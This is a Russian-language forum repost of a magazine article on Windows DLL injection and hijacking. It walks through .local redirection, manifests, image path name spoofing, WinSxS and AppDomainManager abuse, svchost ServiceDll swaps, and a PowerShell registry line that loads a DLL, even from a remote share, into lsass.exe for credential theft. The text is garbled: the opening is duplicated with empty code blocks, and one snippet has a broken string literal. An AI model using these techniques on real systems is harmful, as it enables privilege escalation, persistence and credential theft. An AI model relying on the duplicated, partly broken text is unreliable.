D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Внутри Windows кроется огромное количество интересных и неочевидных возможностей. В этой статье я покажу, как заставить операционку загрузить нашу библиотеку в любой процесс!
Одна из самых популярных атак, направленных на повышение привилегий, — это DLL Hijacking. Чтобы ее провести, атакующий помещает свою вредоносную библиотеку на пути поиска легитимной DLL. Это приводит к тому, что целевое приложение подгружает стороннюю либу и выполняет вредоносный код.
На первый взгляд такая атака кажется очень простой. Я бы даже сказал примитивной. Тем не менее, существует несколько подводных камней, которые часто упускают из вида атакующие.
Во‑первых, многие забывают сделать DLL Proxying до целевой библиотеки, что приводит к поломке всего приложения. Оно крашится, так как пытается вызвать функцию из библиотеки, в которой нужного кода нет.
Во‑вторых, иногда вызов функций вроде
Подробнее о Loader Lock — в блоге Elliot on Security: Perfect DLL Hijacking, What is Loader Lock.
В‑третьих, существуют некоторые факторы, влияющие на порядок поиска DLL. Стандартные пути поиска изображены ниже.
Это так называемый
Код: Скопировать в буфер обмена
Еще один фактор, влияющий на поиск — это функция LoadLibraryEx(), вызванная со значением LOAD_WITH_ALTERED_SEARCH_PATH. В таком случае первым делом DLL ищутся по пути, указанному внутри этой функции.
Помимо прочего существуют встроенные механизмы Windows, которые позволяют внедрить нашу библиотеку в целевой процесс. В документации Microsoft есть упоминание некоторых из них. Давай изучим их подробнее.
Фактически, независимо от того, указан ли в ней полный путь (C:\Windows\System32\dll.dll) или короткий (dll.dll), функция проверит, присутствует ли в текущей директории (в которой находится приложение, которое вызвало эту функцию) файл с расширением .local. И если присутствует, то функция LoadLibrary*() в любом случае загрузит в первую очередь DLL из текущей директории приложения.
Название файла .local должно быть таким же, как и название процесса, из которого вызвана функция LoadLibrary(). Например, если приложение — Editor.exe, то имя файла должно быть Editor.exe.local.
Представим, что этот самый C:\myapp\Editor.exe попытается через LoadLibrary*() загрузить какую‑нибудь либу. Например, такую:
Код: Скопировать в буфер обмена
Тогда LoadLibrary*() проверит существование файла Editor.exe.local в директории, где лежит Editor.exe. Если файл .local найдется, то функция попытается сначала загрузить mydll.dll из текущей директории.
То есть сначала проверяется этот путь:
Код: Скопировать в буфер обмена
И если такого файла нет, то загрузится по указанному полному пути:
Код: Скопировать в буфер обмена
Самое интересное: мы можем создать не только файл Editor.exe.local, но и папку с таким названием, потому что содержимое файла .local не проверяется. В таком случае DLL будет подгружена по следующему пути:
Код: Скопировать в буфер обмена
Итак, приступим к написанию PoC. Во‑первых, нам нужно целевое приложение, которое будет подгружать библиотеку с указанием полного пути.
Назовем это приложение
Код: Скопировать в буфер обмена
В качестве легитимной библиотеки скомпилируем следующий код и назовем Redir.dll.
Код: Скопировать в буфер обмена
После компиляции перенесем в папку C:\Users\Michael\Desktop библиотеку Redir.dll. Проверим, что она успешно запускается и выполняется.
Теперь изменим код Redir.dll на следующий.
Код: Скопировать в буфер обмена
Скомпилируем его и создадим в папке с Article.exe файл Article.exe.local.
Теперь запустим исполняемый файл и убедимся, что библиотека действительно загружается из текущей директории приложения, а не по полному пути.
Если удалить файл .local, то вновь будет загружаться нужная библиотека.
Код: Скопировать в буфер обмена
В данном случае мы с помощью атрибута name указываем, что целевая сборка зависит от user32.dll. После чего файл нужно сохранить с названием program.exe.manifest, где program.exe — имя приложения, в которое должна подгрузиться библиотека.
Это приведет к тому, что user32.dll будет подгружаться из той директории, откуда запускается приложение.
Все основано на функциях RtlCreateProcessParametersEx() и RtlCreateUserProcess(). Windows (а также платформа CLR) будет искать библиотеки (либо сборки .NET, в случае CLR) по пути, указанном в элементе ImagePathName структуры
Код: Скопировать в буфер обмена
Собственно, эта функция заполняет структуру RTL_USER_PROCESS_PARAMETERS.
Код: Скопировать в буфер обмена
Именно эта структура будет передаваться в функцию
Код: Скопировать в буфер обмена
Эта атака не сработает, если приложение подгружает целевую библиотеку с указанием полного пути. Я пытался совместить эту атаку с DLL Redirection с созданием файла .local, но безуспешно.
Вернемся к нашему эксперименту. Чуть‑чуть поправим файл Article.exe, чтобы он загружал библиотеку без указания полного пути.
Код: Скопировать в буфер обмена
В соответствии с порядком поиска DLL Windows в первую очередь будет пытаться найти Redir.dll в текущей директории приложения. Здесь‑то мы его и поймаем!
Убедимся в работоспособности приложения.
Теперь удаляем Article.exe из папки с фейковой DLL и начинаем писать загрузчик. Назовем его PathSpoof.exe.
Я не смог найти ссылку на gists, но этот код я когда‑то стащил у уважаемого snovvcrash. Предлагаю только несколько поправить исходник, изменив с учетом наших целей.
Код: Скопировать в буфер обмена
Полный код представлен в моем репозитории.
Запускаем PathSpoof.exe и видим успешную подгрузку библиотеки.
Исследователи из SecurityJoes обнаружили, что в папку WinSxS попадают ехе‑приложения, уязвимые к атаке DLL Hijacking. Дело в том, что порядок поиска библиотек у этих приложений следующий:
В ходе ресерча нашлось множество уязвимых приложений.
Ты можешь и сам искать подобные дырки, используя тот же Process Monitor или DLLHSC.
К слову, в ходе одного из проектов по пентесту мне удалось подобным образом проэксплуатировать WinSxS, но там сработало несколько условий:
Код: Скопировать в буфер обмена
Этот файл лежал рядом с NetConfigLdr.exe, равно как и библиотека AppDomInject.dll. Это позволило реализовать MITRE и проэксплуатировать файл из WinSxS.
Кстати, если ты еще не забыл про Image Path Name Spoofing, то AppDomain Injection получится совмещать с таким спуфингом. Это подробно описано в исследовании у Sektor7.
Например, для службы TermSrv есть файл
Код: Скопировать в буфер обмена
Так мы можем подменить саму DLL или значение в реестре, что приведет к подгрузке сторонней библиотеки при перезапуске службы.
Код: Скопировать в буфер обмена
Причем есть даже PoC, позволяющий хукнуть функцию
Источник xakep.ru
Автор @MichelleVermishelle | TG: @Michaelzhm
Одна из самых популярных атак, направленных на повышение привилегий, — это DLL Hijacking. Чтобы ее провести, атакующий помещает свою вредоносную библиотеку на пути поиска легитимной DLL. Это приводит к тому, что целевое приложение подгружает стороннюю либу и выполняет вредоносный код.
На первый взгляд такая атака кажется очень простой. Я бы даже сказал примитивной. Тем не менее, существует несколько подводных камней, которые часто упускают из вида атакующие.
Во‑первых, многие забывают сделать DLL Proxying до целевой библиотеки, что приводит к поломке всего приложения. Оно крашится, так как пытается вызвать функцию из библиотеки, в которой нужного кода нет.
Во‑вторых, иногда вызов функций вроде
LoadLibrary()
, CreateProcess()
и CreateThread()
помещают в функцию DllMain()
, что приводит к дедлоку (Dead Lock) из‑за механизма Loader Lock. Loader Lock выступает в качестве критической секции (примитив синхронизации потоков процесса). Фактически выполнение потока программы блокируется до момента снятия Loader Lock.Подробнее о Loader Lock — в блоге Elliot on Security: Perfect DLL Hijacking, What is Loader Lock.
В‑третьих, существуют некоторые факторы, влияющие на порядок поиска DLL. Стандартные пути поиска изображены ниже.

Это так называемый
SafeDllSearchOrder
. Если он отключен, то после Application Directory функция LoadLibrary*() смотрит Current Directory. Отключить SafeDllSearchMode можно, выставив в ноль значение по этому пути:Код: Скопировать в буфер обмена
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
Еще один фактор, влияющий на поиск — это функция LoadLibraryEx(), вызванная со значением LOAD_WITH_ALTERED_SEARCH_PATH. В таком случае первым делом DLL ищутся по пути, указанному внутри этой функции.
Помимо прочего существуют встроенные механизмы Windows, которые позволяют внедрить нашу библиотеку в целевой процесс. В документации Microsoft есть упоминание некоторых из них. Давай изучим их подробнее.
DLL REDIRECTION
Для обычных исполняемых файлов
DLL Redirection — специальный механизм, позволяющий программам использовать разные версии DLL для своих задач, причем не затрагивая обычные системные библиотеки. Действие распространяется только на функции LoadLibrary*().Фактически, независимо от того, указан ли в ней полный путь (C:\Windows\System32\dll.dll) или короткий (dll.dll), функция проверит, присутствует ли в текущей директории (в которой находится приложение, которое вызвало эту функцию) файл с расширением .local. И если присутствует, то функция LoadLibrary*() в любом случае загрузит в первую очередь DLL из текущей директории приложения.
Название файла .local должно быть таким же, как и название процесса, из которого вызвана функция LoadLibrary(). Например, если приложение — Editor.exe, то имя файла должно быть Editor.exe.local.
Представим, что этот самый C:\myapp\Editor.exe попытается через LoadLibrary*() загрузить какую‑нибудь либу. Например, такую:
Код: Скопировать в буфер обмена
C:\Program Files\Common Files\System\mydll.dll
Тогда LoadLibrary*() проверит существование файла Editor.exe.local в директории, где лежит Editor.exe. Если файл .local найдется, то функция попытается сначала загрузить mydll.dll из текущей директории.
То есть сначала проверяется этот путь:
Код: Скопировать в буфер обмена
C:\myapp\mydll.dll
И если такого файла нет, то загрузится по указанному полному пути:
Код: Скопировать в буфер обмена
C:\Program Files\Common Files\System\mydll.dll
Самое интересное: мы можем создать не только файл Editor.exe.local, но и папку с таким названием, потому что содержимое файла .local не проверяется. В таком случае DLL будет подгружена по следующему пути:
Код: Скопировать в буфер обмена
C:\myapp\myapp.exe.local\mydll.dll
Итак, приступим к написанию PoC. Во‑первых, нам нужно целевое приложение, которое будет подгружать библиотеку с указанием полного пути.
Назовем это приложение
Article.exe
.Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <iostream>
int main() {
LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll");
char a;
std::cin >> a;
return 0;
}
Код: Скопировать в буфер обмена
Код:
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"HI FROM LEGIT", L"HI FROM LEGIT", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


Теперь изменим код Redir.dll на следующий.
Код: Скопировать в буфер обмена
Код:
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"HI FROM FAKE", L"HI FROM FAKE", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Теперь запустим исполняемый файл и убедимся, что библиотека действительно загружается из текущей директории приложения, а не по полному пути.


Если удалить файл .local, то вновь будет загружаться нужная библиотека.

Сборки .NET
Для сборок .NET все чуточку проще. Нам нужно создать файл .manifest, либо отредактировать существующий, добавив в него зависимость от конкретной библиотеки. Вот пример конфигурационного файла.Код: Скопировать в буфер обмена
Код:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="6.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
<description>DLL Redirection</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
<file
name="user32.dll"
/>
</assembly>
Это приведет к тому, что user32.dll будет подгружаться из той директории, откуда запускается приложение.
IMAGE PATH NAME SPOOFING
Теория
Атака заключается в том, что мы можем использовать функции Rtl* и обмануть приложение, заставив его думать, что оно запускается из другой директории. Образно, приложение лежит вC:\Windows\System32\abc.exe
, а мы скажем, что в C:\Users\abc.exe
. Как следствие, abc.exe
будет грузить библиотеки из C:\Users
.Все основано на функциях RtlCreateProcessParametersEx() и RtlCreateUserProcess(). Windows (а также платформа CLR) будет искать библиотеки (либо сборки .NET, в случае CLR) по пути, указанном в элементе ImagePathName структуры
RTL_USER_PROCESS_PARAMETERS
. Эту структуру генерирует функция RtlCreateProcessParametersEx(). Запущенный процесс в свою очередь будет парсить эту структуру и извлечет из нее ImagePathName. И, как следствие, раскроет текущую директорию, которая в действительности спуфнута.Реализация
ФункцияRtlCreateProcessParametersEx()
выглядит вот так.Код: Скопировать в буфер обмена
Код:
typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)(
_Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
_In_ PUNICODE_STRING ImagePathName,
_In_opt_ PUNICODE_STRING DllPath,
_In_opt_ PUNICODE_STRING CurrentDirectory,
_In_opt_ PUNICODE_STRING CommandLine,
_In_opt_ PVOID Environment,
_In_opt_ PUNICODE_STRING WindowTitle,
_In_opt_ PUNICODE_STRING DesktopInfo,
_In_opt_ PUNICODE_STRING ShellInfo,
_In_opt_ PUNICODE_STRING RuntimeData,
_In_ ULONG Flags
);
Код: Скопировать в буфер обмена
Код:
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName; // Вот это будем спуфать
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG EnvironmentSize;
ULONG EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
RtlCreateUserProcess()
.Код: Скопировать в буфер обмена
Код:
typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)(
_In_ PUNICODE_STRING NtImagePathName,
_In_ ULONG AttributesDeprecated,
_In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
_In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
_In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
_In_opt_ HANDLE ParentProcess,
_In_ BOOLEAN InheritHandles,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE TokenHandle,
_Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
Вернемся к нашему эксперименту. Чуть‑чуть поправим файл Article.exe, чтобы он загружал библиотеку без указания полного пути.
Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <iostream>
int main() {
LoadLibraryW(L"Redir.dll");
char a;
std::cin >> a;
return 0;
}
Убедимся в работоспособности приложения.


Теперь удаляем Article.exe из папки с фейковой DLL и начинаем писать загрузчик. Назовем его PathSpoof.exe.
Я не смог найти ссылку на gists, но этот код я когда‑то стащил у уважаемого snovvcrash. Предлагаю только несколько поправить исходник, изменив с учетом наших целей.
Код: Скопировать в буфер обмена
Код:
UNICODE_STRING spoofedImagePathName;
spoofedImagePathName.pBuffer = (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe"; //Где реально должно запуститься приложение
for (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[spoofedImagePathName.Length]; spoofedImagePathName.Length++);
spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(WCHAR);
spoofedImagePathName.MaximumLength = spoofedImagePathName.Length + sizeof(UNICODE_NULL);
UNICODE_STRING currentDirectory;
currentDirectory.pBuffer = (PWSTR)L"C:\\Windows\\System32\";
for (currentDirectory.Length = 0; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++);
currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR);
currentDirectory.MaximumLength = currentDirectory.Length + sizeof(UNICODE_NULL);
UNICODE_STRING commandLine;
commandLine.pBuffer = (PWSTR)L"C:\\Windows\\System32\";
for (commandLine.Length = 0; commandLine.pBuffer[commandLine.Length]; commandLine.Length++);
commandLine.Length = commandLine.Length * sizeof(WCHAR);
commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL);
UNICODE_STRING imagePathName;
imagePathName.pBuffer = (PWSTR)L"\\??\\C:\\Users\\Michael\\Desktop\\Article.exe"; // Путь к приложению, которое должно быть спуфнуто
for (imagePathName.Length = 0; imagePathName.pBuffer[imagePathName.Length]; imagePathName.Length++);
imagePathName.Length = imagePathName.Length * sizeof(WCHAR);
imagePathName.MaximumLength = imagePathName.Length + sizeof(UNICODE_NULL);
Запускаем PathSpoof.exe и видим успешную подгрузку библиотеки.


WINSXS
Механизм WinSxS (Windows Side By Side) служит для хранения разных версий важных системных файлов. После обновления Windows в папку C:\Windows\WinSxS падают прошлые версии всяких программных компонентов. Это позволяет в случае сбоя откатиться назад и вернуть систему к жизни.Исследователи из SecurityJoes обнаружили, что в папку WinSxS попадают ехе‑приложения, уязвимые к атаке DLL Hijacking. Дело в том, что порядок поиска библиотек у этих приложений следующий:
- папка, в которой лежит .ехе;
- C:\Windows\System32;
- C:\Windows\System;
- C:\Windows;
- текущая папка.
- запускаем cmd.exe;
- заходим в
C:\Users\<currentuser>\Desktop
; - запускаем приложение WinSxS.
C:\Users\<currentuser>\Desktop
, чтобы найти целевую библиотеку. Здесь‑то с помощью Process Monitor его и поймают!В ходе ресерча нашлось множество уязвимых приложений.

Ты можешь и сам искать подобные дырки, используя тот же Process Monitor или DLLHSC.
К слову, в ходе одного из проектов по пентесту мне удалось подобным образом проэксплуатировать WinSxS, но там сработало несколько условий:
- целевое приложение было сборкой .NET;
- нужно было реализовать MITRE T1574 Hijack Execution Flow.
- AppDomain Manager Injection: New Techniques For Red Teams
- Let's turn Any .NET Application into an LOL Bin
- AppDomainManager Injection and Detection
NetConfigLdr.exe
(название изменено, в моем случае был кастомный софт клиента), поэтому я создал файл NetConfigLdr.exe.config
, указав следующее содержимое.Код: Скопировать в буфер обмена
Код:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Windows\WinSxS"/>
</assemblyBinding>
<appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
Кстати, если ты еще не забыл про Image Path Name Spoofing, то AppDomain Injection получится совмещать с таким спуфингом. Это подробно описано в исследовании у Sektor7.
SVCHOST.EXE
Отдельно я хочу упомянуть инжект в svchost.exe (то есть внедрение в любую службу). Сам по себе svchost.exe — один из множества служебных процессов. Он может подгружать DLL-файл службы, взяв путь из записи реестра со значением ServiceDll.Например, для службы TermSrv есть файл
termsrv.dll
, он находится в %SystemRoot%\System32\
. Этот путь прописан внутри значения ServiceDll вот здесь:Код: Скопировать в буфер обмена
HKLM\System\CurrentControlSet\services\TermService\Parameters\
Так мы можем подменить саму DLL или значение в реестре, что приведет к подгрузке сторонней библиотеки при перезапуске службы.

LSASS DRIVER
Существует недокументированное значение реестра, в которое можно засунуть библиотеку, и она будет загружена в процесс lsass.exe.Код: Скопировать в буфер обмена
Код:
# powershell
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "c:\windows\system32\1.dll"
# очистка
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null
# Можно даже указать удаленную либу
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "\\share\lulz\lsass_lib.dll"
SpAcceptCredentials()
и извлекать учетные данные пользователей.ВЫВОДЫ
У Windows есть необычные возможности, которым иногда пользуются и атакующие. Конечно, порой проще нагло влезть в адресное пространство процесса, записать туда байты DLL-библиотеки и дернуть CreateRemoteThread(), но это далеко не панацея.Источник xakep.ru
Автор @MichelleVermishelle | TG: @Michaelzhm